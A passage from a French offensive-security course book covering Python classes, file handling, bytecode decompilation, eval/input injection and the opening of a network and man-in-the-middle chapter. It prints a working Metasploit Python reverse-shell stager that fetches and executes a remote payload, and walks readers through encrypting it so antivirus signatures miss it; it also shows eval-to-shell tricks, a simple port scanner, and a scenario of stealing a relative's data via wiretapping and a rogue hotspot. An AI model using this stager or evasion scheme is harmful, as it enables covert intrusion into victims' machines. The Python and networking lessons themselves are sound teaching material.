Remplacez les zones marquées par … par les vraies valeurs attendues dans le
code. Vous aurez à réutiliser certaines notions vues précédemment, comme
toujours. Les fonctions rsa_cyp et rsa_dec étant plus simple à appréhender, je
vous laisse les écrire vous-mêmes.

Je vous avais promis que nous allions chiffrer un trojan, et je tiens à garder parole
auprès de vous. Nous allons utiliser un cheval de Troie généré par Metasploit :

import socket, zlib, base64, struct, time


for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('192.168.1.1', 4200))
break
except:
time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(zlib.decompress(base64.b64decode(d)), {'s':s})

91
! Remplacez bien '192.168.1.1' et 4200 par les valeurs attendues à la fin
dans Metasploit si vous voulez vraiment que le trojan fonctionne.

Ce bout de code, offert gracieusement et surtout gratuitement par Metasploit,


tente d’abord d’ouvrir une connexion sur la machine du pirate depuis celle de la
victime, on parle d’un test de connectivité, puis réceptionne le shellcode envoyé
par le service de Metasploit prévu à cet effet.

Ce code est anodin pour un virus (dans certaines mesures), et donc très
facilement reconnaissable pour un logiciel de protection. C’est pourquoi nous
allons utiliser notre fonction rsa_cyp pour le chiffrer et ainsi outre-passer les
antivirus utilisant la reconnaissance par paternes de codes.

Coller le code du virus dans un fichier (en ayant modifié l’IP et le port), nous allons
le modifier en utilisant les fonctions liées aux fichiers, mais ça, vous le verrez dans
le prochain chapitre. Pour décompresser, je vous propose d’exprimer votre âme
d’artiste en utilisant le module turtle.

i Turtle est généralement installé par défaut sur la plupart des distributions
Linux. Si ce n’est pas le cas, un rapide $ pip install turtle suffira.

Les instructions du module sont simples à utiliser :

#!/bin/python
import turtle as t

t.up() # Lève le crayon (arrête d'écrire)


t.down() # Baisse le crayon (recommence à écrire)
t.goto(x, y) # Déplace le curseur en (x; y)
t.fd(n) # Avance de n pixels dans la direction du curseur
t.back(n) # Avance de n pixels dans la direction opposée
t.rt(a) # Effectue une rotation de a degrés

Si vous voulez admirer vos chefs-d’œuvre plus longuement, vous devriez


i songer à utiliser le module time et sa méthode time.sleep(n) permettant
d’attendre n secondes. Cela empêchera la fenêtre de se fermer.

Par exemple, le code pour dessiner un carré de 50 pixels de longueur sera :

92
#!/bin/python
import turtle as t

for i in range(4):
t.fd(50)
t.rt(90)

Vous ne devriez avoir aucun mal à reproduire les figures suivantes :

93
Pour le dernier cas, il s’agit d’un fractal appelé Flocon de Koch, pensez donc
adapter le tracé en fonction d’un degré n. Pour ce faire, utilisez les fonctions
récursives comme nous l’avons appris, c’est un exercice dur mais réalisable, ne
vous attardez cependant pas un siècle et demi dessus ; Le plus important dans ce
chapitre est l’utilisation des modules Python.

VI. Programmation Orientée Objet


Nous avons déjà abordé la notion d’objet et de programmation orientée objet
dans le chapitre précédent. Vous savez que n’importe quel élément, à l’exception
des mots-clef, sont des objets, et qu’en tant que tel, ils possèdent des méthodes
que l’on peut appeler.

Vous savez également que le meilleur moyen pour avoir accès à la liste des
méthodes d’un objet est de taper :

>>> dir(obj)

Et que vous pouvez avoir accès aux indications laissées par le développeur avec :

>>> help(obj.methode)

Vous êtes également au courant qu’il existe une infinité d’objets… Quoique, non !
Je ne vous l’avais pas dit, ou plutôt, vous l’avais caché. En Python, n’importe qui
peut créer des objets grâce à ce que l’on appelle les classes.

Ces dernières permettent de générer à la chaîne des objets se ressemblant, ou du


moins, possédant exactement les mêmes attributs et fonctions. Pour en déclarer
une, on utilise le mot-clef class comme ceci :

class ma_classe:
pass

Cette classe ne fait rien et n’a strictement aucune utilité dans un programme,
mais nous allons la faire évoluer pour vous aider à comprendre.

Avec notre classe, nous pouvons instancier un premier objet x :

x = ma_classe()

94
Ça ne vous a pas échappé, mais la manière dont on définit un objet est similaire à
la manière dont on appelle une fonction. Cette syntaxe est due à la construction
même d’un objet en Python. En effet, si on jette un rapide coup d’oeil à la liste
des méthodes de x avec :

dir(x)

On remarque que plusieurs attributs et fonctions sont présents, alors même que
nous n’en avons déclarés aucun. Un d’entre eux, nommé __init__, est une fonction
permettant de déclarer un objet. Nous pouvons la redéfinir dans la structure de
notre classe :

#!/bin/python
class ma_classe:
def __init__(self):
pass

Dans cet exemple, la structure de x, s’il est redéfini, ne va pas changer ; En


revanche, ces lignes sont un terreau très fertile pour nos futures expériences.

Le paramètre self de la fonction n’est pas vraiment une option, il est appelé à
chaque fois par la fonction et correspond à l’objet en lui-même. N’importe quelle
fonction au sein de notre classe devra appeler ce paramètre, sous ce nom ou un
autre, tant qu’il est présent à la première place.

C’est donc grâce à cette fonction et à son paramètre que nous allons pouvoir
initialiser de nouveaux attributs (et non fonctions) pour notre objet. Par exemple :

#!/bin/python
class ma_classe:
def __init__(self):
self.valeur = 0

i Notez bien que quelle que soit la variable que vous voulez initialiser, si vous
voulez quelle soit un attribut de l’objet, il faut noter son nom après self.

De la même manière, on peut déclarer des attributs à l’aide de valeurs qui seront
donnés plus tard dans le code. Pour ça, il suffit d’ajouter des paramètres au sein

95
de la fonction __init__, et d’utiliser les valeurs passer en paramètre pour définir les
attributs de l’objet, comme ci-dessous :

#!/bin/python
class ma_classe:
def __init__(self, valeur):
self.valeur = valeur

Après avoir redéfini __init__, on peut dès maintenant utiliser cette nouvelle classe
en définissant une fois de plus x :

x = ma_classe(0)
print(dir(x))

Le résultat sera le suivant :

['__class__', '__delattr__', ..., 'valeur']

On peut voir que le nouvel attribut « valeur » c’est greffé à notre liste. De plus, on
peut avoir accès à sa valeur en tapant le nom de notre objet, suivi de celui de son
attribut :

print(x.valeur)

Prenons maintenant un exemple concret d’utilisation de la programmation


orientée objet. Imaginons que vous soyez concepteur de jeux-vidéo et que vous
désiriez coder un jeu de combat entre plusieurs joueurs. L’utilisation des classes
serait alors à privilégier, car à l’inverse des dictionnaires, les objets peuvent
appeler des fonctions qui leur sont propres, ce qui permet de rajouter une
certaine clarté à votre code.

Par exemple, on pourrait très bien avoir ce genre de classe :

#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
s.nom = nom
s.race = race
s.vie = vie
zeus = Personnage("Zeus", "Dieu", 1000)

i Le nom des classes commence par une majuscule, c’est une convention
d’écriture. Vous pouvez également voir qu’ici, self a été renommé en s.

96
On pourrait également imaginer une fonction permettant de donner le statut de
notre personnage, ce qui serait très pratique pour les joueurs. Ça tombe bien, la
fonction __str__ permet de renvoyer la chaîne de caractère que l’on souhaite à
propos de l’objet. Pour le moment, elle ne renvoie que le type d’objet de la
variable, changeons donc la un peu :

#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def __str__(s):
return "Le personnage " + s.nom + " a " + str(s.vie) + " vies"

zeus = Personnage("Zeus", "Dieu", 1000)


print(zeus)

i La fonction native str() permet de transformer n’importe quel objet en


chaîne de caractères.

! Évitez d’utiliser directement print() dans __str__, la méthode peut être


appelée avec la fonction str() et dans ce cas, elle ne renverrait rien.

Ce qui a pour effet :

Le personnage Zeus a 1000 vies

Vous l’aurez compris à l’aide des fonctions __init__ et __str__, toute fonction étant
entourée de deux underscores de chaque côté dans son nom est une fonction
native de la classe générée automatiquement que l’on peut changer à notre
guise. Bien évidemment, vous pouvez créer vos propres fonctions, par exemple,
imaginons que Zeus est à affronter de nombreux adversaires, une fonction dans la
classe permettant de perdre de la vie serait bien pratique :

#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def perdreVie(s, degats):
s.vie -= degats

zeus = Personnage("Zeus", "Dieu", 1000)


zeus.perdreVie(50)
print(zeus)

97
On verra une diminution dans les points de vie de Zeus :

Le personnage Zeus a 950 vies

De manière générale, n’importe quel paramètre précédé de deux underscores


sera invisible aux yeux de l’utilisateur lambda. Ainsi, vous pouvez très bien
déclarer des attributs n’apparaissant pas dans le manuel à l’aide

#!/bin/python
import random as r
class Personnage:
def __init__(s, nom, race, vie, force = r.randint(40, 80)):
...
s.__force = force

zeus = Personnage("Zeus", "Dieu", 1000)

Avec ces deux underscores, nous empêchons aux utilisateurs de la classe


d’utiliser les attributs de l’objet en dehors de la classe elle-même. Ainsi, la ligne
suivante renverra une erreur :

zeus.__force = 100

C’est à peu près tout ce qu’il y a à savoir sur les objets et les classes. Passons à
notre, désormais sacrée, séance d’exercices.

i N’oubliez pas d’ajouter une documentation à vos classes si jamais elles


doivent être utilisées par d’autres utilisateurs.

Avant de reprendre notre petit bijou de code permettant de chiffrer nos trojans, je
vous propose d’utiliser les classes dans le but de créer un programme de
reconnaissance d’IP sur le réseau. Oui, c’est totalement une copie ratée de nmap
que nous nous apprêtons à faire et non, ce ne sera pas très difficile, du moins, ce
sera moins une prise de tête que notre logiciel chiffrant des chevaux de Troie.

Pour ce faire, on donnera la fonction ping à compléter ci-dessous :

#!/bin/python
import subprocess as sp
def ping(adrs):
o = sp.getoutput("ping -c 4 " + adrs)
# A compléter ...

On se servira de cette fonction pour savoir si une machine est joignable et si oui,
en combien de temps le paquet y arrive. La valeur est ensuite stockée pour servir

98
à décrire un objet machine ayant une adresse IP, une joignabilité (si on peut le
ping, donc attribut à True ou False) et un temps de connexion pour le joindre.

A l’aide d’une interface par terminal, on propose à l’utilisateur, après lui avoir
affiché les machines joignables depuis son réseau, d’en sélectionner une pour
étudier les différents ports ouverts. On se basera pour ce faire sur la fonction
suivante :

#!/bin/python
import socket
def portOuvert(ip, port):
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return True if c.connect_ex((ip, port)) == 0 else False

Et voilà, notre petit analyseur de réseau marche comme sur des roulettes !

Rajoutez des instructions pour sauvegarder la liste des ports ouverts dans
i l’objet Machine, et demander à l’utilisateur s’il veut effectuer une nouvelle
fois l’analyse lorsqu’il redemandera la liste des ports de la machine.

Reprenons notre cheval de Troie, je sais que vous êtes impatient de le finir. Dans
les chapitres précédents, nous avons programmé de quoi chiffrer ce petit trojan
pour le rendre indétectable aux yeux des antivirus ; notre objectif va être
maintenant de chiffrer notre code qui se trouve dans un fichier extérieur, et de
rendre un brin plus compréhensible le résultat obtenu afin qu’il soit interprété par
la machine de la victime.

À l’intérieur même du langage Python, il existe un type d’objet gérant les fichiers,
nous permettant ainsi de les lire, de les créer ou encore de les modifier ou de les
supprimer. La syntaxe pour ouvrir un fichier sera la suivante :

f = open(chemin, mode)

« chemin » est la route à suivre pour arriver jusqu’au fichier depuis notre code
python (dépend de l’emplacement du fichier python dans l’arborescence, ou de
l’endroit où est ouvert l’interpréteur), « mode » renvoie à l’utilité que va avoir
notre fichier ouvert dans notre code Python (lire, écrire, les deux, etc.). Il existe de
nombreux modes dont voici une brève liste :
α r : lecture seule
α w : écriture seule, réécrit sur le texte déjà présent. Créer le fichier s’il
n’existe pas
α r+ : lecture et écriture, réécrit sur le texte déjà présent
α a : écriture seule, ajoute les caractères à la fin du fichier.

99
α x : création seule, renvoie une erreur si le fichier existe déjà
α rb+ : lecture et écriture, mais en format binaire.

Pour lire notre trojan dans notre programme principal, le code sera donc :

fichier = open("trojan.py", 'r')


contenu = fichier.read()

« contenu » est ici une chaîne de caractères avec laquelle on va pouvoir jouer, et
donc la modifier avec notre fonction rsa_cyp(). Le tuple renvoyé sera mis dans un
nouveau fichier Python que notre programme va créer, il sera utilisé
conjointement avec la fonction rsa_dec() qui sera collée ipso facto dans le même
fichier. Schématiquement, cela donne ceci :

Voilà ! Notre chiffreur de chevaux de Troie est fini. Ce fut une rude et longue
épreuve pour tous. Il est désormais entièrement fonctionnel, libre à vous de le
modifier pour y ajouter des fonctions.

i La partie sur la cryptographie regorge d’algorithmes pouvant être utilisés


de la même manière que l’est RSA ici.

VII. Compilation, décompilation et bytecode


Dans les deux derniers chapitres de ce module sur Python, nous allons étudier
plus en profondeur le langage pour comprendre son fonctionnement. Cela vous
servira à effectuer de la rétro-ingénierie sur des scripts pré-compilés et de
l’exploitation de code comportant des failles liées à une mauvaise gestion.

Python est un langage dit interprété. Cela veut dire que les instructions sont
retranscrites en langage machine au fur et à mesure qu’elles sont lues par
Python. C’est donc une méthode d’action totalement opposée à celle d’autres
langages dits compilés, qui vont dans un premier temps retranscrire les

100
instructions en langages machines, puis laisser l’ordinateur interpréter le tout
lorsque le fichier sera exécuté.
Cependant, bien que les instructions ne soient pas compilées (passage du code
d’un langage plus humain au langage machine), afin de gagner du temps lors de
l’exécution, Python va retranscrire notre code en bytecode.
Quand vous avez exécuté les codes des exemples, ou que vous avez vérifié que
ce que vous aviez marqué pour les exercices fonctionnait, un dossier nommé
__pycache__ est sûrement apparu, avec à l’intérieur un certain nombre de fichier
portant l’extension .pyc. Étudions-les de plus près, et, dans un premier temps,
générons un fichier pyc d’un programme simple.

Prenons comme programme la fonction suivante d’un fichier nommé salut.py :

def salut():
print("Salut à toi utilisateur !")
salut()

Afin de générer un fichier pyc à partir de ce code, il va falloir le compiler à l’aide


du module py_compile, le tout dans l’interpréteur de Python :

>>> import py_compile


>>> py_compile.compile("salut.py")
'__pycache__/salut.cpython-38pyc'

La dernière fonction de py_compile renvoie l’adresse à laquelle on peut retrouver


notre fichier compilé (il y a de forte possibilité qu’elle soit totalement différente
pour vous). Essayons de le lire :

$ cat __pycache__/salut.cpython-38.pyc
o
��b=�@sdd�Ze�dS)cCs
                  td�dS)Nu▒Salut à toi utilisateur !)�print�rrsalut.py�saluts
                                                                             rN)rrrrr<module>s

Avec un petit flux de redirection vers la commande strings, on peut rendre le


résultat plus lisible, mais pas de quoi comprendre entièrement le code :

$ cat __pycache__/salut.cpython-38.pyc | strings


Salut
toi utilisateur !)
print
salut.py
salut
<module>

101
Afin de récupérer le code source original dans l’optique de faire de la rétro-
ingénierie, on peut utiliser le module Uncompyle6. Malheureusement ce dernier
n’est pour l’instant pas disponible pour les versions les plus récentes de Python, il
faudra donc l’installer sur une version plus ancienne du langage (ici 3.8) :

# add-apt-repository ppa:deadsnakes/ppa -y
# apt update
# apt install python3.8

Python est un langage qui évolue très vite, ne recopiez pas ces lignes sans
! réfléchir en pensant pouvoir avancer, adaptez-les de telle sorte à avoir la
version de Python collant le plus à vos besoins (supportée par Uncompyle6)

On récupère pip pour installer Uncompyle6 plus simplement :

$ curl -sSL https://bootstrap.pypa.io/get-pip.py | python3.8

Évitez d’exécuter des fichiers téléchargés avec curl sans les avoir consultés
! avant. Je vous demande de me faire confiance pour celui-ci, mais prêtez
bien attention à l’avenir avec ce genre de méthodes pas très sécurisées.

On peut ensuite installer Uncompyle6 :

$ python3.8 -m pip install Uncompyle6

i Note : appeler Python avec le paramètre -m permet d’utiliser un module.

Pour décompiler le code, il suffira alors d’exécuter la commande comme suit :

$ uncompyle6 __pycache__/salut.cpython-38.pyc
...
def salut():
   print('Salut à toi utilisateur !')

salut()
...

Nous venons ainsi de décompiler un code entier, ce qui nous a permis de


retrouver sa version originale. Si l’utilité de la rétro-ingénierie en Python peut
vous paraître dérisoire avec cet exemple, imaginez la situation suivante :

102
Vous avez découvert une machine avec un service ssh disponible sur le port 22. Ni
une ni deux, vous énumérez les différents utilisateurs présents sur la machine
pouvant se connecter au serveur. Il se trouve qu’un utilisateur nommé bob peut
se connecter au système. Ce qui est étrange avec cet utilisateur, c’est que
lorsqu’il se connecte, plutôt que d’utiliser les services proposés par Linux, il
préfère se servir d’un petit script écrit dans vous ne savez quel langage.

Après un peu plus de réflexion, vous vous rendez compte que sur le serveur web
de bob se trouve un fichier nommé connexion.min.pyc. Vous décidez de le
télécharger et vous retrouvez en face de ce jeu de données :

Avec Uncompyle6, vous arrivez aisément à retrouver le code d’origine :

import os

print("...")
mdp = input('\n\nMot de passe de Bob : ')

try:
    mdp = int(mdp)
except ValueError:
    print("On voulait rentrer quelque chose d'autre ;)")
    mdp = 0

if mdp + 10 == 23:
os.system('sh')
else:
print('Mot de passe incorrect !')

Le mot de passe est donc beaucoup plus clair, il suffit alors de rentrer 13 et le
programme vous ouvre un shell. La rétro-ingénierie peut s’avérer très pratique
pour ce genre de cas, mais ce n’est rien à côté des failles de sécurités présentes
dans certaines versions de Python.

103
De même, vous pourrez voir certaines fois des bytecodes présents sous cette
forme un peu spéciale :

2           0 LOAD_CONST               1 (3)


             2 LOAD_FAST                0 (x)
             4 BINARY_MULTIPLY
             6 LOAD_CONST               2 (2)
             8 BINARY_ADD
            10 RETURN_VALUE

Cette syntaxe particulière est beaucoup plus lisible que ce que vous trouverez
dans les pyc, mais n’étant pas compilé, vous ne pourrez donc pas utiliser
Uncompyle6. A s’y méprendre, on pourrait la confondre avec de l’assembleur, ce
petit langage faisant la jonction entre un langage compréhensible par l’Homme
comme le C, et le langage binaire.
Malheureusement, il n’existe pas d’outils pour transformer efficacement ce genre
de bytecode en code python utilisable et compréhensible. À la rigueur, vous
pouvez transformer le fichier en pyc avec un programme comme python-xasm
disponible sur Github (https://github.com/rocky/python-xasm), mais si ça ne
marche pas, il faudra trouver d’autres solutions.
Il faudra donc convertir à la main ces bouts de codes, mais n’ayez crainte, ils
suivent une certaine logique. Le nombre le plus à gauche renvoie au numéro de la
ligne en Python, le fait que, dans l’exemple donné, ce nombre soit 2 signifie qu’il
manque une ligne juste avant. Il y a donc de fortes probabilités que nous soyons
dans une fonction au nom inconnu, appelons la f().
LOAD_CONST permet de charger une valeur, peu importe son type, LOAD_FAST
permet de charger une variable et BINARY_[instruction] permet d’effectuer une
opération mathématique (ex : BINARY_MULTIPLY = multiplication). Les trois
premières lignes veulent donc dire 3 * x. Si on déchiffre la suite on obtient un +2
et un renvoie de valeur, nous sommes donc bien dans une fonction, ce qui veut
dire que la première ligne est la déclaration de cette fonction, et de facto, x est un
paramètre de cette fonction :

>>> def f(x):               


... return 3 * x + 2

On peut très facilement retrouver l’assembleur d’un fichier avec le module dis :

>>> from dis import dis


>>> dis(f)
 2           0 LOAD_CONST               1 (3)
...

104
VIII. Différences entre version de Python et exploitation de fichiers
Maintenant que vous savez que le code Python peut être compilé pour gagner du
temps dans l’interprétation des instructions, et que nous pouvons récupérer le
code original d’un script compilé à l’aide d’un processus appelé la rétro-ingénierie,
eh bien l’on peut dire que vous êtes bien renseigné sur ce langage.
Cependant, il reste un domaine que vous devez approfondir, celui des versions de
Python. Tout à l’heure, vous avez pu voir que d’une version à l’autre de Python,
certains modules ne sont plus disponibles, certaines fonctionnalités disparaissent,
d’autres apparaissaient, et, si beaucoup de problèmes peuvent être résolus par la
simple installation d’une version antérieure, parfois les choses ne sont pas si
faciles.

Si Python change, c’est certes pour remettre au goût du jour certaines de ses
syntaxes, par exemple l’affichage du texte qui est passé de ça :

print "mon texte"

À ça lors du passage de python2 à python3 :

print("mon texte")

Parfois ce sont des correctifs de sécurité qui sont apportés, l’un des plus
importants fut celui de la fonction input(). Cette dernière était pourvue d’une
fonctionnalité d’élévation de l’expression, ce qui la rendait vulnérable à l’injection
de code. En d’autres termes, n’importe qui pouvait rentrer du code qui allait être
exécuté par le script, et, si une telle faille n’a pas d’intérêt lorsqu’elle est
exécutée sur notre ordinateur, elle en a beaucoup plus quand ce script permet
une élévation de privilège où l’accès à une machine.

Je ne vous ai pas encore parlé de la fonction eval(). Elle permet d’obtenir le


résultat d’une expression qu’on lui transmet sous la forme d’une chaîne de
caractères, par exemple :

>>> eval("3+2")
5

Mais cela peut aussi se faire avec des blocs de code complet :

>>> import os
>>> eval("os.system('sh')")
sh-5.1$

105
Alors imaginer un peu maintenant les dégats que peut faire une fonction input qui
se comporte comme une demande d’injection de code…
Pour pallier à ce problème, les développeurs de python2 avaient créé la fonction
raw_input qui n’effectuait pas une élévation de l’expression :

>>> raw_input("Rentrez une expression : ")


Rentrez une expression : 5+5
'5+5'

On peut dire que la fonction input était définie comme ci-dessous :

def input(expr):
return eval(raw_input(expr))

Pour vérifier que vous avez bien compris les deux chapitres précédents, je vous
propose un petit jeu. Le but est de réussir à vous identifier sur la machine (la
vôtre) en usant de ruses et d’intelligences. Copiez le code suivant dans un fichier :

#!/bin/python3
import os

def authentification():
   utilisateur = input("Nom d'utilisateur : ")
   if "sh" in utilisateur or "py" in utilisateur:
       print("Alors comme ça on essayait d'avoir un shell ;)")
       return False
   mdp = input("Mot de passe de " + str(eval(utilisateur)) + " : ")
   if len(utilisateur) >= 20 and not ' ' in utilisateur:
       if eval(utilisateur) == "MauriceBarrès":
           rep = [117, 6, 16, 67, 71, 16, 2, 11, 1, 76, 20, 83, 68]
           k = "9ce140dbf9f6761923af0f99ec27e758"
           mdp = [ord(c) for c in mdp]
           for i in range(len(mdp)):
               mdp[i] = mdp[i] ^ ord(k[i])
               if mdp[i] != rep[i]:
                   print("Mot de passe incorrect")
                   return False
           print("Bienvenue sur votre système ! ")
           os.system("sh")
       else:
           print("Ce nom n'est pas connu de notre base :(")
   else:
       print("Il semblerait que quelque chose se soit mal passé")

authentification()

Bonne chance et bien joué pour avoir lu en entier ce module sur Python ! 👍

106
Gestion des réseaux et attaques MITM
Avec l’arrivée d’Internet et son déploiement à grande échelle, il est aujourd’hui
impensable de ne pas se débrouiller un minimum avec les réseaux, surtout en
sécurité informatique. Savoir explorer son réseau est indispensable et vous
donnera parfois l’accès à une myriade d’informations pouvant faire la différence.

I. Réseau, matériel et topologie


Avant toute chose, il va nous falloir définir quelques éléments :
α Réseau : Ensemble d’équipement informatique où chaque machine échange
des informations avec une autre.
α LAN : pour Local Access Network, réseau local à votre routeur internet, on
parlera alors de réseau privé pour simplifier la tâche.
α WAN : pour Wide Access Network, ensemble des réseaux accessible depuis
votre ordinateur, c’est-à-dire Internet. On parlera alors de réseau public.

Avant d’aborder quoi que ce soit, il serait important de préciser comment des
machines peuvent communiquer entre elles. Les plus jeunes qui lisent ces lignes
me répondront que toutes les communications se font par la magie des ondes,
mais il n’en a pas toujours été comme ça.

Au début de la mise en place des réseaux, il n’y avait qu’un seul gros câble
portant un nom barbare : le câble coaxial (à gauche ci-dessous).

Mais avec la complexification des données qu’il y avait à envoyer, et surtout pour
éviter de grosses perturbations sur le réseau, que la simple couche d’aluminium
du coaxial n’empêchait pas, décision fut prise d’adopter un nouveau câble, le
torsadé (à droite ci-dessus), accompagné de sa fidèle prise, la RJ45.

Bien après, le wifi et autre réseau sans fil firent leur apparition, dans le désir
toujours plus accru d’avoir des appareils totalement portables.

107
Ainsi nous sommes passés d’une représentation en réseau qui généralement était
en cercle (les machines ont un maximum de deux voisins avec qui communiquer,
ce qui mis bout à bout forme un cercle) ou en ligne (les machines utilisent toute le
même câble pour communiquer), à une représentation en étoile aujourd’hui.

Cela s’est vu dans l’invention de nouvelles machines utiles aux réseaux. Tout
d’abord le commutateur (switch en anglais), qui permit l’installation de proto-
système en étoile. Son utilisation est plutôt désuète aujourd’hui, surtout dans les
réseaux particuliers. On peut cependant le retrouver dans les entreprises, où il
sert de jonction entre plusieurs machines et le routeur.

Vous pouvez voir la suite de RJ45 sur le commutateur ci-dessus.

Le routeur, quant à lui, va servir de jonction entre plusieurs réseaux. Ainsi,


Internet est un réseau de routeur, où les communications passent de l’un à l’autre
jusqu’à arriver à destination.

Vous connaissez maintenant les différents types de matériels et leur utilité sur le
réseau, c’est-à-dire, la couche 1 du modèle OSI. Nous allons aborder les autres
dans la partie suivante.

II. Bréviaire du modèle OSI


Je vous ai parlé du modèle OSI, mais qu’est-ce donc vraiment ?

Il s’agit d’un modèle sur lequel est transmis l’information. Les données sont
découpées sous la forme de paquets (un peu comme une grosse commande sur
Internet serait découpée en plusieurs colis) et passent au travers de couches
successives afin d’être transmis dans leur intégralité à la machine destinataire. Il
existe sept couches, allant du logiciel le plus développé au matériel le plus brut,
tout en passant par les programmes de sécurisation et d’ajustement de

108
l’information. Chaque paquet passe de la septième, la plus haute, à la première,
la plus basse. Chaque couche porte un nom et à une utilité propre :

α Couche 7 : Application, c’est celle qui émet le


paquet par nécessité de communication (ex : un
navigateur internet, un jeu en réseau).
α Couche 6 : Présentation, c’est celle qui peut
chiffrer l’information
α Couche 5 : Session, elle gère la synchronisation.
α Couche 4 : Transport, elle gère la manière dont
est envoyée l’information et opère ou non à des
vérifications.
α Couche 3 : Réseau, elle gère les datagrammes IP
et leur envoi.
α Couche 2 : Connexion, elle gère les trames
Ethernet et leur envoi.
α Couche 1 : Physique, elle s’occupe du matériel.

Lors d’un envoi, un paquet passe de la couche 7 jusqu’à la une, et à l’inverse, lors
d’une réception, il passe de la première jusqu’à la septième.

Ce qui est intéressant pour nous, c’est que chacune de ces couches peut être
détournée afin de récupérer des données ou prendre le contrôle de la machine. Je
ne pourrais toutes vous les présenter, mais nous verrons les plus intéressantes et
les plus utiles d’entre elles.

III. Exploitation matérielle


Le premier type d’exploitation que nous allons aborder est celui concernant le
matériel. Maintenant que vous avez quelques bases rudimentaires sur la
composition d’un réseau, tâchons de dérober quelques informations :)

La première des choses à faire va être d’étudier notre propre matériel, pour cela
vous aurez besoin de la suite net-tools :

# apt install net-tools

Elle vous donne accès à tout un tas de commandes bien utiles, et notamment
certaines concernant les périphériques réseaux de votre machine. Pour

109
commencer à les étudier, il existe deux commandes : ifconfig et iwconfig, la
première s’occupe de toutes les cartes, là où la deuxième ne s’occupe du wifi.
Nous ne nous occuperons que de la première qui englobe toutes les cartes :

$ ifconfig

Un résultat similaire à celui-ci devrait s’afficher :


eno1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
       ether f8:b9:6a:c9:e6:64  txqueuelen 1000  (Ethernet)
       RX packets 0  bytes 0 (0.0 B)
       RX errors 0  dropped 0  overruns 0  frame 0
       TX packets 0  bytes 0 (0.0 B)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536


       inet 127.0.0.1  netmask 255.0.0.0
       inet6 ::1  prefixlen 128  scopeid 0x10<host>
       loop  txqueuelen 1000  (Local Loopback)
       RX packets 17286  bytes 2255819 (2.2 MB)
       RX errors 0  dropped 0  overruns 0  frame 0
       TX packets 17286  bytes 2255819 (2.2 MB)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlo1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500


       inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
       inet6 fe80::e882:228a:bcc6:7240  prefixlen 64  scopeid 0x20<link>
       inet6 fd54:9209:fe1f:5e00:a004:e573:fc11:1fe7  prefixlen 64  scopeid 0x0<global>
       inet6 fd54:9209:fe1f:5e00:d451:eb5d:9858:4b93  prefixlen 64  scopeid 0x0<global>
       ether d0:b5:b7:73:4b:d9  txqueuelen 1000  (Ethernet)
       RX packets 1912271  bytes 2534389586 (2.5 GB)
       RX errors 0  dropped 1  overruns 0  frame 0
       TX packets 1025725  bytes 106679649 (106.6 MB)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Gardez votre calme face à ce flot d’informations, nous allons l’expliquer. Ce que
vous avez en face de vous correspond aux informations sur vos différentes cartes
réseaux, c’est pourquoi les données qui seront affichées à votre écran risquent
d’être fortement différentes des miennes.
Comme vous pouvez le voir, j’ai trois cartes réseau :
α eno1 pour le filaire. De manière générale, toute carte dont le nom
commence par un E (ex : eth0) est une carte filaire, c’est-à-dire branché à
une prise RJ45.
α lo pour l’hôte. Cette carte est présente sur toutes les machines et a un nom
invariable. Il s’agit de la carte interne à votre machine, le localhost.
α wlo1 pour le sans-fil. De manière générale, toute carte dont le nom
commence par un W (ex : wlan0) est une carte sans-fil, c’est-à-dire utilisant
la technologie wifi.

Parfois, certaines cartes réseaux sont manquantes sur certains appareils, cela
i signifie que, soit la machine ne possède pas certaines technologies, soit
certains pilotes prenant en charge les composants ne sont pas présents.

110
Maintenant que nous connaissons notre matériel, laissez-moi vous présenter une
situation, un petit scénario, dans lequel vont vous être présenté les différentes
façons de dérober ou d’injecter des données par le réseau.

Louis et son père Philippe dispose d’un petit réseau sur lequel deux ordinateurs et
un serveur sont reliés à l’aide d’un commutateur :

Louis, qui vient d’installer Arch Linux, veut un peu s’amuser avec son vieux père
et désire lui dérober ses informations lorsqu’il se connecte au serveur (à chacun
ses occupations).

Une des premières idées qu’il eut fut de changer le câblage du réseau, de telle
sorte que les paquets en provenance de l’ordinateur de son père passe par le
sien. Cette technique porte un nom anglais, le wiretapping, qui littéralement
signifie écoute téléphonique. Elle était très utilisée à l’époque où les gens
utilisaient leur téléphone pour leur seule véritable utilisation : téléphoner.

Ici, dans un réseau connectant des ordinateurs, il n’y aurait qu’à faire la jonction
entre les deux ordinateurs :

111
Ainsi, les paquets partant de l’ordinateur de Philippe passeront forcément par
celui de Louis. Ce dernier n’aura plus qu’à mettre sous écoute la ligne !

! Bien que cette technique soit très efficace, il ne faut l’utiliser qu’en dernier
recours. Elle est chère en termes de matériel et peu discrète.

Si vous désirez plus d’informations sur ce sujet, ce lien devrait vous être utile.
Toujours en est-il que Philippe a flairé la supercherie et a donc changé la
configuration du réseau :

Le wifi fut amené en grande pompe au palais, et malheureusement pour notre


ami Louis, il ne peut plus aussi aisément dérober les données de son père.
Quoique…

Le wifi fonctionne d’une telle manière aujourd’hui que, la plupart du temps, un


seul appareil nommé box internet délivre tous les services : commutateur,
routeur, wifi, serveur, etc. C’est une pratique bien pratique pour les utilisateurs
lambda d’un réseau et qui ne présente pas de failles de sécurités, mais c’est aussi
un modèle d’inspiration pour nous qui souhaitons mimer un réseau !

Sur Linux, il y a la possibilité, pour peu que vous ayez une bonne carte réseau, de
créer un point d’accès, et c’est ce que nous allons faire pour usurper le réseau du
palais. Il est possible de créer un point d’accès depuis l’interface graphique ou la
console, mais vous vous doutez bien que c’est la dernière qui nous intéresse.

112
Pour créer un point d’accès vous aurez besoin de la commande nmcli, sa syntaxe
est des plus simples :

$ nmcli d wifi hotspot ifname [interface] ssid [nom] password [mdp]

Si nmcli n’est pas installé sur votre machine, tapez ce qui suit :

! # apt install network-manager
# systemctl start network-manager

